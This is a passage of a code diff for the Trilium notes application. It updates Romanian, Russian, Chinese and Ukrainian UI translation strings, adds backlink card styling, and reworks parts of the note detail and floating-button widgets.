    "unable-to-load-map": "Nu s-a putut încărca harta.",
-    "create-child-note-instruction": "Click pe hartă pentru a crea o nouă notiță la acea poziție sau apăsați Escape pentru a anula."
+    "create-child-note-instruction": "Click pe hartă pentru a crea o nouă notiță la acea poziție sau apăsați Escape pentru a anula.",
+    "create-child-note-text": "Adaugă marcaj"
  },
  "duration": {
    "days": "zile",
@@ -2127,7 +2119,7 @@
  },
  "call_to_action": {
    "background_effects_title": "Efectele de fundal sunt acum stabile",
-    "background_effects_message": "Pe dispozitive cu Windows, efectele de fundal sunt complet stabile. Acestea adaugă un strop de culoare interfeței grafice prin estomparea fundalului din spatele ferestrei. Această tehnică este folosită și în alte aplicații precum Windows Explorer.",
+    "background_effects_message": "Pe dispozitive cu Windows și macOS, efectele de fundal sunt stabile. Acestea adaugă un strop de culoare interfeței grafice prin estomparea fundalului din spatele ferestrei.",
    "background_effects_button": "Activează efectele de fundal",
    "next_theme_title": "Încercați noua temă Trilium",
    "next_theme_message": "Utilizați tema clasică, doriți să încercați noua temă?",
@@ -2159,7 +2151,6 @@
    "percentage": "%"
  },
  "pagination": {
-    "page_title": "Pagina pentru {{startIndex}} - {{endIndex}}",
    "total_notes": "{{count}} notițe"
  },
  "collections": {
@@ -2281,5 +2272,14 @@
    "pages_other": "{{count}} de pagini",
    "pages_alt": "Pagina {{pageNumber}}",
    "pages_loading": "Încărcare..."
+  },
+  "platform_indicator": {
+    "available_on": "Disponibil pe {{platform}}"
+  },
+  "mobile_tab_switcher": {
+    "title_one": "{{count}} tab",
+    "title_few": "{{count}} taburi",
+    "title_other": "{{count}} de taburi",
+    "more_options": "Mai multe opțiuni"
  }
 }
--- a/apps/client/src/translations/ru/translation.json
+++ b/apps/client/src/translations/ru/translation.json
@@ -668,7 +668,8 @@
  "geo-map": {
    "unable-to-load-map": "Не удалось загрузить карту.",
    "create-child-note-instruction": "Щелкните по карте, чтобы создать новую заметку в этом месте, или нажмите Escape, чтобы закрыть ее.",
-    "create-child-note-title": "Создать новую дочернюю заметку и добавить ее на карту"
+    "create-child-note-title": "Создать новую дочернюю заметку и добавить ее на карту",
+    "create-child-note-text": "Добавить маркер"
  },
  "note_tooltip": {
    "quick-edit": "Быстрое редактирование",
@@ -685,8 +686,8 @@
  "electron_integration": {
    "zoom-factor": "Коэффициент масштабирования",
    "restart-app-button": "Применить изменения и перезапустить приложение",
-    "background-effects-description": "Эффект Mica добавляет размытый, стильный фон окнам приложений, создавая глубину и современный вид. Опция \"Системная строка заголовка\" должна быть отключена.",
-    "background-effects": "Включить фоновые эффекты (только Windows 11)",
+    "background-effects-description": "Добавляет размытый, стильный фон окнам приложений, создавая глубину и современный вид. Опция \"Системная строка заголовка\" должна быть отключена.",
+    "background-effects": "Включить фоновые эффекты",
    "native-title-bar-description": "В Windows и macOS отключение системной строки заголовка делает приложение более компактным. В Linux включение системной строки заголовка улучшает интеграцию с остальной частью системы.",
    "native-title-bar": "Системная панель заголовка",
    "desktop-application": "Десктопное приложение"
@@ -776,7 +777,11 @@
    "refresh-saved-search-results": "Обновить сохраненные результаты поиска",
    "automatically-collapse-notes-title": "Заметки будут свернуты после определенного периода бездействия, чтобы навести порядок в дереве.",
    "toggle-sidebar": "Переключить боковую панель",
-    "dropping-not-allowed": "Перетаскивание заметок в эту область не разрешено."
+    "dropping-not-allowed": "Перетаскивание заметок в эту область не разрешено.",
+    "shared-indicator-tooltip": "Эта заметка опубликована",
+    "shared-indicator-tooltip-with-url": "Эта заметка доступно публично по адресу: {{- url}}",
+    "subtree-hidden-moved-description-other": "В дереве, к которому относится эта заметка, скрыты дочерние заметки.",
+    "subtree-hidden-moved-description-collection": "Эта коллекция скрывает свои дочерние заметки в дереве."
  },
  "quick-search": {
    "no-results": "Результаты не найдены",
@@ -856,7 +861,10 @@
    "convert-to-attachment-confirm": "Вы уверены, что хотите преобразовать выбранные заметки во вложения их родительских заметок? Эта операция применяется только к заметкам в виде изображений; другие заметки будут пропущены.",
    "converted-to-attachments": "{{count}} заметок были преобразованы во вложения.",
    "archive": "Архивировать",
-    "unarchive": "Разархивировать"
+    "unarchive": "Разархивировать",
+    "open-in-a-new-window": "Открыть в новом окне",
+    "hide-subtree": "Скрыть поддерево",
+    "show-subtree": "Показать поддерево"
  },
  "info": {
    "closeButton": "Закрыть",
@@ -1000,7 +1008,8 @@
    "switch_to_mobile_version": "Перейти на мобильную версию",
    "switch_to_desktop_version": "Переключиться на версию для ПК",
    "new-version-available": "Доступно обновление",
-    "download-update": "Обновить до {{latestVersion}}"
+    "download-update": "Обновить до {{latestVersion}}",
+    "search_notes": "Поиск заметок"
  },
  "zpetne_odkazy": {
    "relation": "отношение",
@@ -1047,7 +1056,8 @@
    "expand_all_levels": "Развернуть все вложенные уровни",
    "expand_nth_level": "Развернуть уровни: {{depth}} шт.",
    "expand_first_level": "Развернуть прямые дочерние уровни",
-    "expand_tooltip": "Разщвернуть дочерние элементы этой коллекции (на один уровень вложенности). Для получения дополнительных параметров нажмите стрелку справа."
+    "expand_tooltip": "Разщвернуть дочерние элементы этой коллекции (на один уровень вложенности). Для получения дополнительных параметров нажмите стрелку справа.",
+    "hide_child_notes": "Скрыть дочерние заметки в дереве"
  },
  "edited_notes": {
    "deleted": "(удалено)",
@@ -1692,7 +1702,7 @@
    "zoom_in_title": "Увеличить масштаб",
    "zoom_out_title": "Уменьшить масштаб",
    "reset_pan_zoom_title": "Сбросить панорамирование и масштабирование",
-    "create_child_note_title": "Создать новую дочернюю заметку и добавить ее в эту карту связей"
+    "create_child_note_title": "Создать дочернюю заметку и добавить ее в карту"
  },
  "code_auto_read_only_size": {
    "unit": "символов",
@@ -1845,7 +1855,8 @@
    "error_cannot_get_branch_id": "Невозможно получить branchId для notePath '{{notePath}}'",
    "delete_this_note": "Удалить эту заметку",
    "insert_child_note": "Вставить дочернюю заметку",
-    "note_revisions": "История изменений"
+    "note_revisions": "История изменений",
+    "content_language_switcher": "Язык содержимого: {{language}}"
  },
  "svg_export_button": {
    "button_title": "Экспортировать диаграмму как SVG"
@@ -1900,7 +1911,7 @@
    "dismiss": "Отклонить",
    "background_effects_button": "Включить эффекты фона",
    "next_theme_button": "Попробовать новую тему",
-    "background_effects_message": "На устройствах Windows фоновые эффекты теперь полностью стабильны. Они добавляют цвет в пользовательский интерфейс, размывая фон за ним. Этот приём также используется в других приложениях, например, в проводнике Windows.",
+    "background_effects_message": "На устройствах с ОС Windows или macOS, фоновые эффекты теперь полностью стабильны. Они добавляют цвета в пользовательский интерфейс, размывая фон за ним.",
    "background_effects_title": "Фоновые эффекты теперь стабильны",
    "next_theme_title": "Попробуйте новую тему Trilium",
    "new_layout_button": "Подробнее",
@@ -1988,11 +1999,6 @@
    "attachment_deleted": "Это вложение было удалено.",
    "you_can_also_open": ", вы также можете открыть "
  },
-  "web_view": {
-    "web_view": "Веб-страница",
-    "create_label": "Для начала создайте метку с URL-адресом, который вы хотите встроить, например, #webViewSrc=\"https://www.google.com\"",
-    "embed_websites": "Заметки типа \"Веб-страница\" позволяет встраивать веб-сайты в Trilium."
-  },
  "ribbon": {
    "widgets": "Виджеты ленты",
    "promoted_attributes_message": "Вкладка \"Продвигаемые атрибуты\" будет автоматически открыта, если таковые атрибуты установлены у заметки",
@@ -2075,10 +2081,6 @@
  "help-button": {
    "title": "Открыть соответствующую страницу справки"
  },
-  "render": {
-    "note_detail_render_help_2": "Тип заметки «Рендер HTML» используется для <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">скриптинга</a>. Если коротко, у вас есть заметка с HTML-кодом (возможно, с добавлением JavaScript), и эта заметка её отобразит. Для этого необходимо определить <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">отношение</a> с именем «renderNote», указывающее на HTML-заметку для отрисовки.",
-    "note_detail_render_help_1": "Эта справочная заметка отображается, поскольку эта справка типа Render HTML не имеет необходимой связи для правильной работы."
-  },
  "file": {
    "too_big": "В целях повышения производительности в режиме предварительного просмотра отображаются только первые {{maxNumChars}} символов файла. Загрузите файл и откройте его во внешнем браузере, чтобы увидеть всё содержимое.",
    "file_preview_not_available": "Предварительный просмотр файла недоступен для этого файла."
@@ -2094,7 +2096,11 @@
    "ui": "Пользовательский интерфейс"
  },
  "sql_result": {
-    "no_rows": "По этому запросу не возвращено ни одной строки"
+    "no_rows": "По этому запросу не возвращено ни одной строки",
+    "not_executed": "Запрос еще не выполнен.",
+    "failed": "Выполнение SQL-запроса завершилось с ошибкой",
+    "statement_result": "Результат заявления",
+    "execute_now": "Выполнить сейчас"
  },
  "editable_code": {
    "placeholder": "Введите содержимое для заметки с кодом..."
@@ -2144,8 +2150,7 @@
    "rendering_error": "Невозможно отобразить содержимое из-за ошибки."
  },
  "pagination": {
-    "total_notes": "{{count}} заметок",
-    "page_title": "Страница {{startIndex}} - {{endIndex}}"
+    "total_notes": "{{count}} заметок"
  },
  "status_bar": {
    "attributes_one": "{{count}} атрибут",
@@ -2189,7 +2194,14 @@
    "read_only_auto_description": "Эта заметка была автоматически переведена в режим только для чтения по соображениям производительности. Это автоматическое ограничение можно изменить в настройках.\n\nНажмите, чтобы временно отредактировать её.",
    "read_only_auto": "Автоматический режим \"только для чтения\"",
    "read_only_explicit_description": "Эта заметка была вручную установлена в режим «только для чтения».\nНажмите, чтобы временно отредактировать её.",
-    "read_only_explicit": "Только для чтения"
+    "read_only_explicit": "Только для чтения",
+    "save_status_saving": "Сохранение...",
+    "save_status_saved": "Сохранение",
+    "save_status_unsaved": "Не сохранено",
+    "save_status_error": "Ошибка сохранения",
+    "save_status_saving_tooltip": "Изменения сохраняются.",
+    "save_status_unsaved_tooltip": "Есть несохраненные изменения. Они будут сохранены автоматически через некоторое время.",
+    "save_status_error_tooltip": "Произошла ошибка при сохранении заметки. Если возможно, попробуйте скопировать содержимое заметки в другое место и перезагрузить приложение."
  },
  "breadcrumb": {
    "hoisted_badge_title": "Снять фокус",
@@ -2243,5 +2255,30 @@
  },
  "attributes_panel": {
    "title": "Атрибуты заметки"
+  },
+  "bookmark_buttons": {
+    "bookmarks": "Закладки"
+  },
+  "mobile_tab_switcher": {
+    "more_options": "Показать больше",
+    "title_one": "{{count}} вкладка",
+    "title_few": "{{count}} вкладки",
+    "title_many": "{{count}} вкладок"
+  },
+  "pdf": {
+    "pages_loading": "Загрузка...",
+    "pages_alt": "Страница {{pageNumber}}",
+    "pages_one": "{{count}} страница",
+    "pages_few": "{{count}} страницы",
+    "pages_many": "{{count}} страниц",
+    "layers_one": "{{count}} слой",
+    "layers_few": "{{count}} слоя",
+    "layers_many": "{{count}} слоев",
+    "attachments_one": "{{count}} вложение",
+    "attachments_few": "{{count}} вложения",
+    "attachments_many": "{{count}} вложений"
+  },
+  "platform_indicator": {
+    "available_on": "Доступно для {{platform}}"
  }
 }
--- a/apps/client/src/translations/tw/translation.json
+++ b/apps/client/src/translations/tw/translation.json
@@ -662,7 +662,8 @@
    "show-cheatsheet": "顯示快捷鍵說明",
    "toggle-zen-mode": "禪模式",
    "new-version-available": "發現新更新",
-    "download-update": "取得版本 {{latestVersion}}"
+    "download-update": "取得版本 {{latestVersion}}",
+    "search_notes": "搜尋筆記"
  },
  "sync_status": {
    "unknown": "<p>同步狀態將在下一次同步嘗試開始後顯示。</p><p>點擊以立即觸發同步。</p>",
@@ -757,7 +758,9 @@
    "delete_this_note": "刪除此筆記",
    "error_cannot_get_branch_id": "無法獲取 notePath '{{notePath}}' 的 branchId",
    "error_unrecognized_command": "無法識別的命令 {{command}}",
-    "note_revisions": "筆記歷史版本"
+    "note_revisions": "筆記歷史版本",
+    "backlinks": "反向連結",
+    "content_language_switcher": "內文語言：{{language}}"
  },
  "note_icon": {
    "change_note_icon": "更改筆記圖標",
@@ -909,7 +912,8 @@
    "unknown_search_option": "未知的搜尋選項 {{searchOptionName}}",
    "search_note_saved": "搜尋筆記已儲存至 {{- notePathTitle}}",
    "actions_executed": "已執行操作。",
-    "view_options": "查看選項："
+    "view_options": "查看選項：",
+    "option": "選項"
  },
  "similar_notes": {
    "title": "相似筆記",
@@ -1003,7 +1007,7 @@
    "no_attachments": "此筆記沒有附件。"
  },
  "book": {
-    "no_children_help": "此類型為書籍的筆記沒有任何子筆記，因此沒有內容可顯示。請參閱 <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">wiki</a> 以了解詳情。",
+    "no_children_help": "此集合沒有任何子筆記，因此沒有內容可顯示。",
    "drag_locked_title": "鎖定編輯",
    "drag_locked_message": "無法拖曳，因為此集合已被鎖定編輯。"
  },
@@ -1059,15 +1063,6 @@
    "default_new_note_title": "新筆記",
    "click_on_canvas_to_place_new_note": "點擊畫布以放置新筆記"
  },
-  "render": {
-    "note_detail_render_help_1": "之所以顯示此說明筆記，是因為該類型的渲染 HTML 沒有設定好必須的關聯。",
-    "note_detail_render_help_2": "渲染筆記類型用於編寫 <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">腳本</a>。簡單說就是您可以寫HTML程式碼（或者加上一些JavaScript程式碼）， 然後這個筆記會把頁面渲染出來。要使其正常工作，您需要定義一個名為 \"renderNote\" 的 <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">關聯</a> 指向要呈現的 HTML 筆記。"
-  },
-  "web_view": {
-    "web_view": "網頁顯示",
-    "embed_websites": "網頁顯示類型的筆記允許您將網站嵌入至 Trilium 中。",
-    "create_label": "首先，請新增一個帶有您要嵌入的 URL 地址的標籤，例如 #webViewSrc=\"https://www.bing.com\""
-  },
  "backend_log": {
    "refresh": "重新整理"
  },
@@ -1378,7 +1373,8 @@
    "description": "描述",
    "reload_app": "重新載入應用以套用更改",
    "set_all_to_default": "將所有快捷鍵重設為預設值",
-    "confirm_reset": "您確定要將所有鍵盤快捷鍵重設為預設值嗎？"
+    "confirm_reset": "您確定要將所有鍵盤快捷鍵重設為預設值嗎？",
+    "no_results": "未找到符合 '{{filter}}' 的捷徑"
  },
  "spellcheck": {
    "title": "拼寫檢查",
@@ -1582,7 +1578,9 @@
    "print_report_collection_content_one": "集合中的 {{count}} 篇筆記無法列印，因為它們不被支援或受到保護。",
    "print_report_collection_content_other": "",
    "print_report_collection_details_button": "查看詳情",
-    "print_report_collection_details_ignored_notes": "忽略的筆記"
+    "print_report_collection_details_ignored_notes": "忽略的筆記",
+    "print_report_error_title": "列印失敗",
+    "print_report_stack_trace": "堆棧追蹤"
  },
  "note_title": {
    "placeholder": "請輸入筆記標題...",
@@ -1939,8 +1937,8 @@
    "desktop-application": "桌面版應用程式",
    "native-title-bar": "原生標題列",
    "native-title-bar-description": "對於 Windows 和 macOS，關閉原生標題列會讓應用程式看起來更緊湊。在 Linux 上，開啟原生標題列可以與系統的其他部分整合得更好。",
-    "background-effects": "啟用背景效果（僅適用於 Windows 11）",
-    "background-effects-description": "Mica 效果為程式視窗新增模糊且時尚的背景，營造出深度感和現代化外觀。「原生標題列」必須被禁用。",
+    "background-effects": "啟用背景效果",
+    "background-effects-description": "為程式視窗新增模糊且時尚的背景，營造立體感和現代化外觀。「原生標題列」必須被禁用。",
    "restart-app-button": "重新啟動應用程式以查看更改",
    "zoom-factor": "縮放係數"
  },
@@ -1959,7 +1957,8 @@
  "geo-map": {
    "create-child-note-title": "建立一個新的子筆記並將其加至地圖中",
    "create-child-note-instruction": "點擊地圖以在該位置建立新筆記，或按 Escape 以取消。",
-    "unable-to-load-map": "無法載入地圖。"
+    "unable-to-load-map": "無法載入地圖。",
+    "create-child-note-text": "新增地圖標記"
  },
  "geo-map-context": {
    "open-location": "打開位置",
@@ -2075,7 +2074,8 @@
    "raster": "柵格",
    "vector_light": "向量（淺色）",
    "vector_dark": "向量（深色）",
-    "show-scale": "顯示比例尺"
+    "show-scale": "顯示比例尺",
+    "show-labels": "顯示標記名稱"
  },
  "table_context_menu": {
    "delete_row": "刪除列"
@@ -2122,7 +2122,7 @@
  },
  "call_to_action": {
    "background_effects_title": "背景特效已推出穩定版本",
-    "background_effects_message": "在 Windows 裝置上，背景特效現在已完全穩定。背景特效透過模糊背後的背景，為使用者介面增添一抹色彩。此技術也用於其他應用程式，例如 Windows 檔案總管。",
+    "background_effects_message": "在 Windows 和macOS裝置上，背景特效現在已穩定。背景特效透過模糊背後的背景，為使用者介面增添一抹色彩。",
    "background_effects_button": "啟用背景特效",
    "next_theme_title": "試用新 Trilium 主題",
    "next_theme_message": "您正在使用舊版主題，要試用新主題嗎？",
@@ -2154,7 +2154,6 @@
    "app-restart-required": "（需要重啟程式以套用更改）"
  },
  "pagination": {
-    "page_title": "第 {{startIndex}} - {{endIndex}} 頁",
    "total_notes": "{{count}} 筆記"
  },
  "collections": {
@@ -2267,5 +2266,60 @@
    "pages_other": "",
    "pages_alt": "第 {{pageNumber}} 頁",
    "pages_loading": "正在載入…"
+  },
+  "mobile_tab_switcher": {
+    "more_options": "更多選項",
+    "title_one": "{{count}} 個分頁",
+    "title_other": ""
+  },
+  "platform_indicator": {
+    "available_on": "可於 {{platform}} 使用"
+  },
+  "bookmark_buttons": {
+    "bookmarks": "書籤"
+  },
+  "render": {
+    "setup_title": "在此筆記中顯示自訂 HTML 或 Preact JSX",
+    "setup_create_sample_preact": "使用 Preact 建立範例筆記",
+    "setup_create_sample_html": "使用 HTML 建立範例筆記",
+    "setup_sample_created": "已建立一個範例筆記作為子筆記。",
+    "disabled_description": "此渲染筆記來自外部來源。為保護您免受惡意內容侵害，此功能預設為停用狀態。啟用前請務必確認來源可信。",
+    "disabled_button_enable": "啟用渲染筆記"
+  },
+  "web_view_setup": {
+    "title": "將網頁直接匯入 Trilium 建立即時預覽",
+    "url_placeholder": "輸入或貼上網站網址，例如 https://triliumnotes.org",
+    "create_button": "建立網頁檢視",
+    "invalid_url_title": "無效地址",
+    "invalid_url_message": "請輸入有效的網址，例如 https://triliumnotes.org。",
+    "disabled_description": "此網頁檢視來自外部來源。為協助保護您免受網路釣魚或惡意內容侵害，內容不會自動載入。若您信任來源，可手動啟用此功能。",
+    "disabled_button_enable": "啟用網頁檢視"
+  },
+  "active_content_badges": {
+    "type_icon_pack": "圖示包",
+    "type_backend_script": "後端腳本",
+    "type_frontend_script": "前端腳本",
+    "type_widget": "元件",
+    "type_app_css": "自訂 CSS",
+    "type_render_note": "渲染筆記",
+    "type_web_view": "網頁顯示",
+    "type_app_theme": "自訂主題",
+    "toggle_tooltip_enable_tooltip": "點擊以啟用此 {{type}}。",
+    "toggle_tooltip_disable_tooltip": "點擊以停用此 {{type}}。",
+    "menu_docs": "打開文件",
+    "menu_execute_now": "立即執行腳本",
+    "menu_run": "自動執行",
+    "menu_run_disabled": "手動",
+    "menu_run_backend_startup": "當後端啟動時",
+    "menu_run_hourly": "每小時",
+    "menu_run_daily": "每日",
+    "menu_run_frontend_startup": "當桌面前端啟動時",
+    "menu_run_mobile_startup": "當移動前端啟動時",
+    "menu_change_to_widget": "更改為元件",
+    "menu_change_to_frontend_script": "更改為前端腳本",
+    "menu_theme_base": "主題基底"
+  },
+  "setup_form": {
+    "more_info": "了解更多"
  }
 }
--- a/apps/client/src/translations/uk/translation.json
+++ b/apps/client/src/translations/uk/translation.json
@@ -1130,15 +1130,6 @@
    "default_new_note_title": "нова нотатка",
    "click_on_canvas_to_place_new_note": "Натисніть на полотно, щоб розмістити нову нотатку"
  },
-  "render": {
-    "note_detail_render_help_1": "Ця довідка відображається, оскільки ця нотатка типу Render HTML не має необхідного зв'язку для належного функціонування.",
-    "note_detail_render_help_2": "Тип нотатки Render HTML використовується для <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">скриптів</a>. Коротше кажучи, у вас є нотатка з HTML-кодом (за бажанням з деяким JavaScript), і ця нотатка її відобразить. Щоб це запрацювало, вам потрібно визначити <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">відношення</a> під назвою \"renderNote\", яке вказує на нотатку HTML для відображення."
-  },
-  "web_view": {
-    "web_view": "Веб-перегляд",
-    "embed_websites": "Нотатка типу Веб-перегляд дозволяє вбудовувати веб-сайти в Trilium.",
-    "create_label": "Для початку створіть мітку з URL-адресою, яку ви хочете вбудувати, наприклад, #webViewSrc=\"https://www.google.com\""
-  },
  "backend_log": {
    "refresh": "Оновити"
  },
@@ -2072,7 +2063,6 @@
    "app-restart-required": "(щоб зміни набули чинності, потрібен перезапуск програми)"
  },
  "pagination": {
-    "page_title": "Сторінка {{startIndex}} - {{endIndex}}",
    "total_notes": "{{count}} нотаток"
  },
  "collections": {
--- a/apps/client/src/types-lib.d.ts
+++ b/apps/client/src/types-lib.d.ts
@@ -63,11 +63,13 @@ declare global {

 declare module "preact" {
    namespace JSX {
+        interface ElectronWebViewElement extends JSX.HTMLAttributes<HTMLElement> {
+            src: string;
+            class: string;
+        }
+
        interface IntrinsicElements {
-            webview: {
-                src: string;
-                class: string;
-            }
+            webview: ElectronWebViewElement;
        }
    }
 }
--- a/apps/client/src/types.d.ts
+++ b/apps/client/src/types.d.ts
@@ -119,7 +119,7 @@ declare global {
        setNote(noteId: string);
    }

-    var logError: (message: string, e?: Error | string) => void;
+    var logError: (message: string, e?: unknown) => void;
    var logInfo: (message: string) => void;
    var glob: CustomGlobals;
    //@ts-ignore
--- a/apps/client/src/widgets/Backlinks.css
+++ b/apps/client/src/widgets/Backlinks.css
@@ -0,0 +1,83 @@
+.tn-backlinks-widget .backlinks-items {
+    list-style-type: none;
+    margin: 0;
+    padding: 0;
+    position: static;
+    width: unset;
+
+    > li {
+        --border-radius: 8px;
+
+        max-width: 600px;
+        padding: 10px 20px;
+        background: var(--card-background-color);
+
+        & + li {
+            margin-top: 2px;
+        }
+
+        &:first-child {
+            border-radius: var(--border-radius) var(--border-radius) 0 0;
+        }
+
+        &:last-child {
+            border-radius: 0 0 var(--border-radius) var(--border-radius);
+        }
+
+        /* Card header */
+        & > span:first-child {
+            display: block;
+
+            > span {
+                display: flex;
+                flex-wrap: wrap;
+                align-items: center;
+
+                /* Note path */
+                > small {
+                    flex: 100%;
+                    order: -1;
+                    font-size: .65rem;
+
+                    .note-path {
+                        padding: 0;
+                    }
+                }
+
+                /* Note icon */
+                > .tn-icon {
+                    color: var(--menu-item-icon-color);
+                }
+
+                /* Note title */
+                > a {
+                    margin-inline-start: 4px;
+                    color: currentColor;
+                    font-weight: 500;
+                }
+            }
+        }
+
+        /* Card content - excerpt */
+        .backlink-excerpt {
+            all: unset; /* TODO: Remove after disposing the old style from FloatingButtons.css */
+            display: block;
+
+            margin: 8px 0;
+            border-radius: 4px;
+            background: var(--quick-search-result-content-background);
+            padding: 8px;
+            font-size: .75rem;
+
+            a {
+                background: transparent;
+                color: var(--quick-search-result-highlight-color);
+                text-decoration: underline;
+            }
+
+            p {
+                margin: 0;
+            }
+        }
+    }
+}
--- a/apps/client/src/widgets/FloatingButtonsDefinitions.tsx
+++ b/apps/client/src/widgets/FloatingButtonsDefinitions.tsx
@@ -1,3 +1,5 @@
+import "./Backlinks.css";
+
 import { BacklinkCountResponse, BacklinksResponse, SaveSqlConsoleResponse } from "@triliumnext/commons";
 import { VNode } from "preact";
 import { useCallback, useEffect, useLayoutEffect, useRef, useState } from "preact/hooks";
@@ -54,21 +56,12 @@ export const DESKTOP_FLOATING_BUTTONS: FloatingButtonsList = [
    OpenTriliumApiDocsButton,
    SaveToNoteButton,
    RelationMapButtons,
-    GeoMapButtons,
    CopyImageReferenceButton,
    ExportImageButtons,
    InAppHelpButton,
    Backlinks
 ];

-export const MOBILE_FLOATING_BUTTONS: FloatingButtonsList = [
-    RefreshBackendLogButton,
-    EditButton,
-    RelationMapButtons,
-    ExportImageButtons,
-    Backlinks
-];
-
 /**
 * Floating buttons that should be hidden in popup editor (Quick edit).
 */
@@ -98,10 +91,10 @@ function SwitchSplitOrientationButton({ note, isReadOnly, isDefaultViewMode }: F
    />;
 }

-function ToggleReadOnlyButton({ note, viewType, isDefaultViewMode }: FloatingButtonContext) {
+function ToggleReadOnlyButton({ note, isDefaultViewMode }: FloatingButtonContext) {
    const [ isReadOnly, setReadOnly ] = useNoteLabelBoolean(note, "readOnly");
    const isSavedSqlite = note.isTriliumSqlite() && !note.isHiddenCompletely();
-    const isEnabled = ([ "mermaid", "mindMap", "canvas" ].includes(note.type) || viewType === "geoMap" || isSavedSqlite)
+    const isEnabled = ([ "mermaid", "mindMap", "canvas" ].includes(note.type) || isSavedSqlite)
            && note.isContentAvailable() && isDefaultViewMode;

    return isEnabled && <FloatingButton
@@ -243,17 +236,6 @@ function RelationMapButtons({ note, isDefaultViewMode, triggerEvent }: FloatingB
    );
 }

-function GeoMapButtons({ triggerEvent, viewType, isReadOnly }: FloatingButtonContext) {
-    const isEnabled = viewType === "geoMap" && !isReadOnly;
-    return isEnabled && (
-        <FloatingButton
-            icon="bx bx-plus-circle"
-            text={t("geo-map.create-child-note-title")}
-            onClick={() => triggerEvent("geoMapCreateChildNote")}
-        />
-    );
-}
-
 function CopyImageReferenceButton({ note, isDefaultViewMode }: FloatingButtonContext) {
    const hiddenImageCopyRef = useRef<HTMLDivElement>(null);
    const isEnabled = (
@@ -305,7 +287,7 @@ function ExportImageButtons({ note, triggerEvent, isDefaultViewMode }: FloatingB

 function InAppHelpButton({ note }: FloatingButtonContext) {
    const helpUrl = getHelpUrlForNote(note);
-    const isEnabled = !!helpUrl;
+    const isEnabled = note.type !== "book" && !!helpUrl;

    return isEnabled && (
        <FloatingButton
--- a/apps/client/src/widgets/NoteDetail.css
+++ b/apps/client/src/widgets/NoteDetail.css
@@ -3,6 +3,30 @@
    font-family: var(--detail-font-family);
    font-size: var(--detail-font-size);
    contain: none;
+
+    &.fixed-tree {
+        display: flex;
+        flex-direction: column;
+        height: 100%;
+
+        .fixed-note-tree-container {
+            height: 60%;
+            border-bottom: 1px solid var(--main-border-color);
+            overflow: auto;
+
+            .tree-wrapper {
+                padding: 0;
+            }
+
+            .tree {
+                padding: 0;
+            }
+
+            ul {
+                margin: 0;
+            }
+        }
+    }
 }

 body.prefers-centered-content .note-detail {
@@ -12,4 +36,4 @@ body.prefers-centered-content .note-detail {

 .note-detail > * {
    contain: none;
-}
+}
--- a/apps/client/src/widgets/NoteDetail.tsx
+++ b/apps/client/src/widgets/NoteDetail.tsx
@@ -1,5 +1,7 @@
 import "./NoteDetail.css";

+import clsx from "clsx";
+import { note } from "mermaid/dist/rendering-util/rendering-elements/shapes/note.js";
 import { isValidElement, VNode } from "preact";
 import { useEffect, useRef, useState } from "preact/hooks";

@@ -12,8 +14,9 @@ import { t } from "../services/i18n";
 import protected_session_holder from "../services/protected_session_holder";
 import toast from "../services/toast.js";
 import { dynamicRequire, isElectron, isMobile } from "../services/utils";
+import NoteTreeWidget from "./note_tree";
 import { ExtendedNoteType, TYPE_MAPPINGS, TypeWidget } from "./note_types";
-import { useNoteContext, useTriliumEvent } from "./react/hooks";
+import { useLegacyWidget, useNoteContext, useTriliumEvent } from "./react/hooks";
 import { NoteListWithLinks } from "./react/NoteList";
 import { TypeWidgetProps } from "./type_widgets/type_widget";

@@ -36,6 +39,7 @@ export default function NoteDetail() {
    const [ noteTypesToRender, setNoteTypesToRender ] = useState<{ [ key in ExtendedNoteType ]?: (props: TypeWidgetProps) => VNode }>({});
    const [ activeNoteType, setActiveNoteType ] = useState<ExtendedNoteType>();
    const widgetRequestId = useRef(0);
+    const hasFixedTree = note && noteContext?.hoistedNoteId === "_lbMobileRoot" && isMobile() && note.noteId.startsWith("_lbMobile");

    const props: TypeWidgetProps = {
        note: note!,
@@ -119,13 +123,6 @@ export default function NoteDetail() {
        }
    });

-    // Fixed tree for launch bar config on mobile.
-    useEffect(() => {
-        if (!isMobile) return;
-        const hasFixedTree = noteContext?.hoistedNoteId === "_lbMobileRoot";
-        document.body.classList.toggle("force-fixed-tree", hasFixedTree);
-    }, [ note ]);
-
    // Handle toast notifications.
    useEffect(() => {
        if (!isElectron()) return;
@@ -215,8 +212,13 @@ export default function NoteDetail() {
    return (
        <div
            ref={containerRef}
-            class={`component note-detail ${isFullHeight ? "full-height" : ""}`}
+            class={clsx("component note-detail", {
+                "full-height": isFullHeight,
+                "fixed-tree": hasFixedTree
+            })}
        >
+            {hasFixedTree && <FixedTree noteContext={noteContext} />}
+
            {Object.entries(noteTypesToRender).map(([ itemType, Element ]) => {
                return <NoteDetailWrapper
                    Element={Element}
@@ -231,6 +233,11 @@ export default function NoteDetail() {
    );
 }

+function FixedTree({ noteContext }: { noteContext: NoteContext }) {
+    const [ treeEl ] = useLegacyWidget(() => new NoteTreeWidget(), { noteContext });
+    return <div class="fixed-note-tree-container">{treeEl}</div>;
+}
+
 /**
 * Wraps a single note type widget, in order to keep it in the DOM even after the user has switched away to another note type. This allows faster loading of the same note type again. The properties are cached, so that they are updated only
 * while the widget is visible, to avoid rendering in the background. When not visible, the DOM element is simply hidden.
@@ -349,6 +356,14 @@ export function checkFullHeight(noteContext: NoteContext | undefined, type: Exte
    // https://github.com/zadam/trilium/issues/2522
    const isBackendNote = noteContext?.noteId === "_backendLog";
    const isFullHeightNoteType = type && TYPE_MAPPINGS[type].isFullHeight;
+
+    // Allow vertical centering when there are no results.
+    if (type === "book" &&
+        [ "grid", "list" ].includes(noteContext.note?.getLabelValue("viewType") ?? "grid") &&
+        !noteContext.note?.hasChildren()) {
+        return true;
+    }
+
    return (!noteContext?.hasNoteList() && isFullHeightNoteType)
        || noteContext?.viewScope?.viewMode === "attachments"
        || isBackendNote;
@@ -364,7 +379,33 @@ function showToast(type: "printing" | "exporting_pdf", progress: number = 0) {
 }

 function handlePrintReport(printReport?: PrintReport) {
-    if (printReport?.type === "collection" && printReport.ignoredNoteIds.length > 0) {
